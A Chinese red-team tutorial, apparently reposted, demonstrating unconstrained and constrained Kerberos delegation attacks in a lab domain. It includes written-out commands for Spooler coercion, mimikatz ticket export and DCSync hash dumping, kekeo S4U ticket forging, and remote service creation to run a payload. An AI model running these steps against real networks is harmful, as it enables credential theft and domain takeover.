域內攻擊 ----->約束非約束委派攻擊

在域中,除了我們常見的橫向移動以外,還有很多攻擊,像什么kerberoasting,委派攻擊,NTLMrelay啊...... 還有很多(暫時只知道這些)

以前在一篇公眾號看到的一個笑話也薈萃了網安的一些攻擊手法!! 其中提到的spooler非約束性委派就是今天要講的委派攻擊之一!!!!? 總的來說,委派攻擊可以分成以下的三種

  • 非約束性委派
  • 約束性委派
  • 基于資源的約束性委派

基本上就這三種,隨便提一下,委派攻擊比其他攻擊會更難理解!!!

1.委派的介紹

首先,什么是委派呢?

域委派是指將域內用戶的權限委派給服務賬戶,使得服務賬號能夠以用戶的權限在域內展開活動

接著,什么樣的對象才能被委派呢?

  • 主機賬號:活動目中中的Computers組內的計算機,也被稱為機器賬號
  • 服務賬號:域內用戶的一種類型,是服務器運行服務時所用的賬號。

那么我們去域控上面看一看,順便說一下本次實驗環境

后續實驗環境皆在此基礎上進行

先來看機器賬號,怎么查看域內的機器有幾臺呢?

net groups "Domain Computers"  /domain

完了喜歡eason被你發現捏)?

然后我們去域控上看,DEV和COMPUTERS這兩個組

這兩個組的權限不同,DEV組的權限比COMPUTERS的權限大!!!

這兩個機器組都是可以設置委派的!!!! 然后就是服務賬號

我們隨便抓一個用戶,他是肯定沒有委派這個功能的!!! 我們只需要給他注冊一個SPN即可

setspn -A priv/server.god.org server

然后我們再去查看對應的屬性

setspn -U -A priv/test server

然后就立刻能在對應的屬性里面看見了

然后,就可以開始今天的實驗啦!!!!

2.非約束性委派攻擊

先來講一下原理吧!!!

?

其實約束性委派還是好理解,基本上就是Kerberos協議!!那么非約束性委派是怎么產生的呢??

當用戶A去訪問web服務器的時候,通過Kerberos認證,用戶就能訪問web系統上的對應服務,但是web系統可能做了站庫分離或者一些操作,導致了web系統需要再去訪問文件服務器!!!

于是非約束性委派(委派)就誕生了!!!! ~~~~


  • 前面Kerberos認證和常規的認證沒區別,但是在KDC返回的ST中,包含了A用戶的TGT
  • 于是Web服務在收到ST之后,就拿著這張TGT再去獲取一張通往文件服務器的ST
  • 通過這種ST,web系統就拿到了文件服務器的資源,并且返回給A

這樣聽起來好像沒什么問題,但是事實真的如此嗎????

? ?:::那可當然不是!!!我來講一下這個問題出現的點

  1. Web服務器會將這個獲得到的TGT存儲在Lsass進程中,以便下次我們進行身份驗證
  2. 配置了非約束性委派導致該Web服務器可以請求域內任意機器的任意服務(用戶服務權限高)

所以,非約束性委派的一句話總結就是

用戶在拿下非約束性委派的機器,并且通過相應手段拿到高權限的TGT,以此進行PTT

那么下面,我們就來演示一下對應的流程

先去配置一個非約束性委派,然后假設我們獲取到了一臺域內機器

然后我們去查詢域內哪些機器配置了非約束性委派

先把adfind傳上去,然后執行以下命令

查詢域內配置了非約束性委派的服務賬戶

shell AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName  

?很慶幸,我們遠控的server賬戶就被配置了非約束性委派

那么我們也不妨去查一下配置了非約束性委派的機器賬號

shell  AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"  cn

可以看見,就算我們不做委派,域控默認的就被配置了非約束性委派!!!!?

那么首先,我們先去看一下權限

可以看見當前是無法訪問到域控上的東西的!!!!

1.域管主動認證

當然了,這種基本上是不太可能會發生的,但是原理上是行的通的,我們也來演示一下

net use \\server.god.org\c$  "admin@123"  /user:GOD\administrator

先是域館主動來進行認證?

然后我們就可以去CS上將對應的票據導出

mimikatz sekurlsa::tickets /export

結果發現

不夠權限,那么我們就要提權咯,下面就來介紹一下這個CS自帶的MS16-032,這個是真的nb

就連Winserver2016都能夠提上來,直接是system

直接上線 ,那么此時我們再去導出票據

這這時候可以怎么做?? PTT啊!!!

不是,檸檬的,怎么不可以啊!!!!!? 那我們自己傳一個mimikatz上去試試?

然后我們再去注一次票

? ? :: 這不就可以了嗎, 牛魔的cs的mimikatz總感覺有點問題

然后后面就是我們熟悉的橫向移動了!!!!

shell copy counterstrike.exe   \\owa.god.org\c$shell sc \\owa.god.org create cs binpath= "cmd.exe /c c:\counterstrike.exe"shell sc \\owa.god.org start cs

執行即上線

2.Spooler漏洞聯動非約束性委派

在現實生活中,是肯定不會有域館主動來連接我們的,所以我們就要依靠打印機漏洞

這也就是那個樂子的出處

Windows打印系統協議(MS-RPRN)是一種舊的,但是默認啟動的方法,在該方法中,域用戶可以通過該方法強制讓任何運行了Spooler服務的計算機通過Kerberos或者NTLM協議對攻擊者選擇的目標進行身份驗證。

這個服務是默認開啟的!!!!!?

那么!!! 開搞? ?先把rubeus,和spoolsample傳上去

然后我們先開著監聽

shell Rubeus.exe monitor /interval:1  /filteruser:OWA$   //后面這個是與域控的機器名字

然后強制回連

shell SpoolSample.exe OWA  SERVER

但是呢,就很奇怪了.....?

這玩意咋一點反應都沒得啊(我防火墻關了啊!!!)

發現了這個,真的無語了,于是上網查了一下,大部分也是成功的但是也有和我一樣失敗的

但是不重要,我們直接繼續后面的步驟

你會得到這樣的一個"TGT",然后就是注票

rebeus.exe ptt /ticket  "剛才的TGT"

然后獲取哈希

lsadump::dcsync  /all /csv

然后就能得到KRBTGT的NTLM哈希了!!!??

剩下的就不用我教你了吧,直接黃金票據了!!!

? ??

3.約束性委派攻擊

這個就比較難了,???前方高能???,發車!!!!

? ? ? ? ? ? ? ? ? ? ? ? ??

想聽懂約束性委派,你就必須要學會一個協議 S4U2 (Service For User To)下的兩個子協議

  1. S4U2S(Service For User To Self)
  2. S4U2P(Service For User To Proxy)

對于約束性委派,就要先看一下場景。

當用戶不在域內的時候,為了讓用戶獲取到文件服務上的資源,微軟引進了S4U2協議

  1. 用戶先通過NTLM或者其他認證,認證到WEB系統
  2. 然后Web系統以本機賬戶去申請一張TGT,然后以用戶身份拿著這樣TGT去申請ST1
  3. 然后將申請到的ST1返回給用戶
  4. 用戶再將ST1發給Web系統
  5. Web系統再將對應的ST1發送給KDC,請求ST2(S4U2P)
  6. 在獲得了ST2之后,再去訪問文件服務器

當然了,之所以叫做約束性委派,原因就是只能訪問對應的服務捏!!!!

? ? ::那么問題出在哪里了呢????

  • WEB服務器可不可以直接偽造域管的身份???? 我們在白銀票據不是說過嗎,如果我們能拿下服務賬號的NTLM哈希,那么就能偽造白銀票據!!

實施上也正是如此

這個就是通過拿下約束性委派機器的NTLM哈希,偽造Administrator的ST1,然后再去偽造ST2,訪問被約束了的對應服務!!!

那么下面,我們來演示一波,先去配置約束性委派

這里我就讓他約束為只能訪問域控的CIFS服務吧

先去看看什么機器被配置了約束性委派

shell AdFind.exe -b "DC=god,DC=org" -f " (&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

結果發現沒有?

然后我們再去查一下服務賬戶

shell AdFind.exe  -b "DC=god,DC=org" -f " (&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

能查到一個Server的賬戶,能訪問得到域管上的服務,那么我們抓一波哈希

抓到,然后我們申請一張TGT ,這里用kekeo,先傳上去

然后我們偽造TGT(這里是以SERVER來做TGT噢,理解這里,你就理解S4U2S了)

shell kekeo.exe "tgt::ask /user:god\server /NTLM:e25bbe456dd96a635f4434511788e502 /domain:god.org" "exit"

可以看見這張TGT

然后我們就以域管得身份去申請一張ST1(S4U2S)

shell kekeo.exe "tgs::s4u /tgt:TGT_god~server@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi  /user:administrator@god.org  /service:cifs/owa.god.org" "exit"

可以看見他在申請了ST1的同時又給我們申請了一張ST2,于是就終于到了最后一步偽造啦!!!

mimikatz kerberos::ptt TGS_administrator@god.org@GOD.ORG_cifs~owa.god.org@GOD.ORG.kirbi

此時,我們就可以去查看域控上的任意東西啦!!!!

但是,能不能傳馬呢????嘻嘻嘻嘻

肯定不行啊,CIFS只是能訪問對應的文件,如果能傳馬,又怎么教約束性委派呢???/

那么如果域控配置了HOST服務那就可以了? ?--->(為了節目效果,我們就去配一下)

然后我們就可以申請去域控的服務票據ST2啦,先去清個票

然后就是熟悉的操作

于是就能看見我們的兩張票了!!!!!

然后就是熟悉的上馬了!!!!但是牛魔了,拒絕訪問???

那么如果是ldap服務呢???

然后我們再去做服務

結果發現,服務是能做成功,但是服務運行不起來

但是又沒有方法呢???? ?有!!! 就算只是cifs服務也可以

奇安信攻防社區-紅隊域滲透技術:委派攻擊匯總(全)

可以參考上面的連接,不過他用的是impacket的python腳本(如果目標服務器沒有python呢??)

所以網上大部分的委派攻擊的文章都是直接到了能dir就結束了,而且約束性委派的攻擊利用較少,這里就不演示了!!?

?? ??

當然了,只有兩種委派攻擊嗎,那當然不是,下一張,我們就講我們的大boss!!!

基于資源的約束性委派--- >>> RBCD

? ? ?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/15171.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/15171.shtml
英文地址,請注明出處:http://en.pswp.cn/web/15171.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

vscode終端運行pnpm,yarn不成功問題

vscode終端運行pnpm,yarn不成功問題 1.問題描述2.解決辦法 1.問題描述 全局安裝了pnpm后,cmd窗口執行pnpm -v可以查看版本信息,在項目目錄可以執行操作,但是在vscode中無法執行并報錯 2.解決辦法 以管理員身份運行vscode打開vscod…

《拯救大學生課設不掛科第二期之Windows11下安裝VC6.0(VC++6.0)與跑通Hello World C語言程序教程》【官方筆記】

背景與目標人群: 大學第一次學C語言的時候,大部分老師會選擇VC6這個編輯器。 但由于很多人是新手,第一次上大學學C語言。 老師要求VC6.0(VC6.0)寫C語言跑程序可能很多人還是第一次接觸電腦。 需要安裝VC6這個編輯器…

深入理解ECMAScript:JavaScript的規范與實踐

引言 在當今的Web開發領域,JavaScript幾乎無處不在。它不僅在客戶端編程中占據主導地位,而且在服務器端(Node.js)和移動應用開發中也越來越受歡迎。然而,JavaScript的核心并非由單一的公司或組織控制,而是…

初識Java--開啟我的Java學習之旅

目錄 一、JAVA語言概述二、JAVA語言的重要性2.1語言使用廣泛程度2.2工作領域2.3在校招崗位的需求2.4 java語言發展簡史2.5Java語言特性 三、初識java的main方法四、運行java程序五、【面試題】JDK、JRE、JVM之間的關系? 一、JAVA語言概述 Java是一種優秀的程序設計…

【Apache Doris】周FAQ集錦:第 4 期

【Apache Doris】周FAQ集錦:第 4 期 SQL問題數據操作問題運維常見問題其它問題關于社區 歡迎查閱本周的 Apache Doris 社區 FAQ 欄目! 在這個欄目中,每周將篩選社區反饋的熱門問題和話題,重點回答并進行深入探討。旨在為廣大用戶和…

Redis常見數據類型(6)-set, zset

目錄 Set 命令小結 內部編碼 使用場景 用戶畫像 其它 Zset有序集合 普通指令 zadd zcard zcount zrange zrevrange ?編輯 zrangebyscore zpopmax/zpopmin bzpopmax/bzpopmin zrank/zrevrank zscore zrem zremrangebyrank zremrangebyscore Set 命令小結 …

鏈棧的存儲

單向鏈表在棧中的存儲 typedef struct StackNode {SElemType data;struct StackNode* next; }StackNode, *LinkStack; LinkStack S; //鏈棧初始化 void InitStack(LinkStack& S) {S NULL;return OK; } //判斷鏈棧是否為空 Status StackEmpty(LinkStack S) {if (S NU…

將具有傳統IP的設計遷移到Vivado設計套件

將具有傳統IP的設計遷移到Vivado設計套件 概述 AMD Vivado?設計套件允許您從CORE Generator?工具遷移IP設計。你可以 還可以將IP遷移到Vivado Design Suite的最新版本。 重要!Vivado集成開發環境(IDE)要求IP、實例化和 端口名都是小寫的。將…

Spring 模擬管理Web應用程序

MVC:Model View Controller 1)controller:控制層(Servlet是運行服務器端,處理請求響應java語言編寫技術) 2)service:業務層(事務,異常) 3&#xf…

視頻號小店的保證金是多少錢?2024最新收費標準,一篇了解!

哈嘍~我是電商月月 現實社會,干什么都需要交錢,就連上班,路費也得掏錢 想要入駐視頻號小店,在視頻號里賣貨賺錢,就要繳納類目保證金 那到底要繳多少錢呢? 今天,月月就把最新的收費標準分享給…

輕松拿捏C語言——【字符串函數】的使用及模擬實現

🥰歡迎關注 輕松拿捏C語言系列,來和 小哇 一起進步!? 🎉創作不易,請多多支持🎉 🌈感謝大家的閱讀、點贊、收藏和關注💕 🌹如有問題,歡迎指正 感謝 目錄 一、…

mysql 拼接兩個字段的值 使用CONCAT的函數

CONCAT()函數拼接兩個不用字段的值,最后在一個字段里面顯示出來,具體實例如下: 下面這個案例就行把SSSHENGBH、SSSBH、SSXBH、SSXZBH字段值拼接到一個字段里面進行顯示 select CONCAT(SSSHENGBH,SSSBH,SSXBH,SSXZBH) FROM BLT_JBXXJLB

3D 生成重建013-ProlificDreamer將SDS拓展到VSD算法進行高質量的3D生成

3D 生成重建013-ProlificDreamer將SDS拓展到VSD算法進行高質量的3D生成 文章目錄 0論文工作1論文方法2效果 0論文工作 **分數蒸餾采樣(SDS)**通過提取預先訓練好的大規模文本到圖像擴散模型,在文本到3d生成方面顯示出了巨大的前景&#xff0…

Windows VS2022 C語言使用 sqlite3.dll 訪問 SQLite數據庫

今天接到一個學生C語言訪問SQLite數據庫的的需求: 第一步,SQLite Download Page下載 sqlite3.dll 庫 下載解壓,發現只有兩個文件: 于是使用x64 Native Tools Command Prompt 終端 生成 sqlite3.lib 和 sqlite3.exp文件 LIB -def:sqlite3.def -out:sqlite3.lib -machin…

廣告圈策劃大師課:活動策劃到品牌企劃的深度解析

對于剛接觸營銷策劃的新人來說,在這個知識密集型行業里生存,要學習非常多各種意思相近的概念,常常讓人感到頭疼,難以區分。 這里對這些策劃概念進行深入解析,幫助您輕松理清各自的含義和區別。 1. 活動策劃&#xff…

C++ 字符串處理-將字符串轉成大寫或小寫

1. 關鍵詞2. strutil.h3. strutil.cpp4. 測試代碼5. 運行結果6. 源碼地址 1. 關鍵詞 C 字符串處理 將字符串轉成大寫或小寫 跨平臺 2. strutil.h #include <string> namespace cutl {/*** brief Convert a string to upper case.** param str the string to be conve…

微信小程序自定義頭部

1.在對應界面的json文件&#xff0c;將navigationStyle屬性設置為“custom” "navigationStyle":"custom" 2. 狀態欄的高度可以通過 wx.getSystemInfo() 獲取。 膠囊按鈕的信息可以通過 wx.getMenuButtonBoundingClientRect() 獲取。 導航欄高度狀態欄…

截圖工具PixPin(比Snipaste更強大)

PixPin官網鏈接&#xff1a;https://pixpinapp.com/ 最近新出的一款截圖工具PixPin&#xff0c;比Snipaste功能多一些。在Snipaste功能基礎上&#xff0c;還支持長截圖&#xff0c;截動圖&#xff0c;文本識別。

C++11-獨占指針unique_ptr原理實現

獨占指針&#xff08;unique_ptr&#xff09;是C11標準引入的一種智能指針&#xff0c;用于獨占管理動態分配對象的生命周期。unique_ptr確保對象在同一時間只有一個所有者&#xff0c;防止對象被多個指針共享。下面是unique_ptr的實現原理及其內存管理機制。 unique_ptr 的基…